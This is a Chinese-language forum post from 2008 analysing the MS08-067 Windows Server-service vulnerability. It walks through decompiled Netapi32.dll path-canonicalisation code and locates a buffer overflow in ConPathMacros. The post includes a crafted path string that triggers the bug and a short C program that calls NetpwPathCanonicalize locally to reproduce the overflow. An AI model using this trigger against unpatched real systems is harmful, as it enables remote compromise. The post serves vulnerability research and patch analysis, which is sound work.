|
标 题: 【原创】MS08-067漏洞分析（20081025） 作 者: DiYhAcK 时 间: 2008-10-25,21:56:17 链 接: http://bbs./showthread.php?t=75361 前天看到微软紧急发布了一个漏洞补丁，就去看了下，发现该漏洞影响覆盖面非常广，包括Windows 2000/XP/2003/Vista/2008的各个版本，甚至还包括测试阶段的Windows 7 Pre-Beta，并且漏洞存在于Windows系统默认开启的Server服务当中，而且超越了当年风靡一时的MS06-040漏洞（又想起当年用该漏洞。。。。。。。嘿嘿）。这也难怪微软打破周二发布补丁的惯例。于是下了补丁研究研究。 下完补丁，发现被打补丁的又是 Netapi32.dll，对比原文件和补丁中的文件，有问题的函数又是NetpwPathCanonicalize（MS06-040也是这个函数，具体信息请搜索）简单说下这个函数： 该函数用于标准化一个路径，一般用于本地调用，若调用者指定了一个远程计算机名将会使用RPC。 该函数能够处理的路径类型: 1.相对路径 e.g. foo\bar 2.绝对路径 e.g. \foo\bar 3.UNC 路径 e.g. \\computer\share\foo 4.全路径 e.g. d:\foo\bar 该函数声明如下： DWORD NetpwPathCanonicalize( LPWSTR PathName, //需要标准化的路径 LPWSTR Outbuf, //存储标准化后的路径的Buffer DWORD OutbufLen, //Buffer长度 LPWSTR Prefix, //可选参数，当PathName是相对路径时有用 LPDWORD PathType, //存储路径类型 DWORD Flags // 保留，为0 ) 该函数中在一个循环里使用wcscpy，恶意攻击者通过构造一个精心设计的路径将使漏洞触发。 结合IDA分析该函数：(F5 + 整理 + 主要代码) 代码: int __stdcall NetpwPathCanonicalize(LPWSTR PathName, LPWSTR Outbuf, DWORD OutbufLen, LPWSTR Prefix, LPDWORD PathType, DWORD Flags)
{
bool v7;
int result;
v7 = !Prefix || !*Prefix;
Prefix = (LPWSTR)*PathType;
if ( *PathType || (result = NetpwPathType(PathName, (int)&Prefix, 0), !result) )
{
if ( v7 || (result = NetpwPathType(Prefix, (int)&Flags, 0), !result) )
{
if ( OutbufLen != 0 )
{
*Outbuf = 0;
result = CanonPathName(Prefix, PathName, Outbuf, OutbufLen, 0); //核心函数，主要处理在这里，问题也出在这里
if ( !result )
result = NetpwPathType(Outbuf, (int)PathType, 0);
}
else
{
result = 2123;
}
}
}
return result;
}
int __stdcall CanonPathName(LPWSTR PathPrefix, LPWSTR PathName, LPWSTR Buffer, DWORD BufferSize, LPDWORD RetSize)
{
size_t preLen;
size_t pathLen;
wchar_t pathBuffer[MAX_PATH*2 + 1];
if ( PathPrefix && *PathPrefix )
{
preLen = wcslen(PathPrefix);
if ( preLen != 0)
{
if ( preLen > 520 ) //520 = sizeof(pathBuffer) - 1
return 0x7Bu; // ERROR_INVALID_NAME
wcscpy(pathBuffer, PathPrefix);
if ( pathBuffer[preLen-1] != '\\' && pathBuffer[preLen-1] != '/') //判断前缀是否以'\'或'/'结尾
{
wcscat(pathBuffer, L"\\");
++preLen;
}
if ( PathName[0] == '\\' || PathName[0] == '/' )
++pathLen;
}
}
else
{
pathBuffer[0] = 0;
}
pathLen = wcslen(PathName);
if (pathLen + preLen > sizeof(pathBuffer) - 1)
return 0x7Bu; // ERROR_INVALID_NAME
wcscat(pathBuffer, PathName);
if ( pathBuffer )
{
do //该循环把路径中的'/'转换成'\'
{
if ( *pathBuffer == '/' )
*pathBuffer = '\\';
++pathBuffer;
}
while ( *pathBuffer );
}
if ( !sub_71C4A2CA() && !ConPathMacros(pathBuffer) ) //ConPathMacros中存在缓冲区溢出漏洞！！！
return 0x7Bu;
pathLen = 2 * wcslen(&pathBuffer) + 2;
if ( pathLen > BufferSize )
{
if ( RetSize )
*RetSize = pathLen;
result = 0x84Bu;
}
else
{
wcscpy(Buffer, &pathBuffer);
result = 0;
}
return result;
}
在测试时大家可以把函数ConPathMacros单独提取出来，传入一个路径，看其是怎样去掉路径中的\..和\.宏 构造恶意路径： 形如".\\\\x\\..\\..\\aaaaaaaaaaaaaaaaaaaaaaaaaaaaa"即可导致函数ConPathMacros漏洞的触发 看图中的局部变量：  本地溢出 Netapi32.dll： 代码: int main(int argc, char* argv[])
{
WCHAR szBuffer[] = L".\\\\x\\..\\..\\aaaaaaaaaaaaaaaaaaaaaaaaaaaa";
//ConvertPathMacros(szBuffer);
//printf("%S\n", szBuffer);
HMODULE h = LoadLibrary("netapi32.dll");
if(h != NULL)
{
NetpwPathCanonicalize = (pNetpwPathCanonicalize)GetProcAddress(h, "NetpwPathCanonicalize");
if(NetpwPathCanonicalize != NULL)
{
WCHAR Buffer[256] = L"";
DWORD type = 1000; //不能为0，否则构造的路径过不了NetpwPathType的检查
DWORD ret = NetpwPathCanonicalize(szBuffer, Buffer, 512, NULL, &type, 0);
printf("ret = %x\n", ret);
printf("%S\n", Buffer);
}
FreeLibrary(h);
}
return 0;
}
手工实现RPC通信等等。。。 Bulletin: http://www.microsoft.com/technet/security/Bulletin/MS08-067.mspx |
|
|
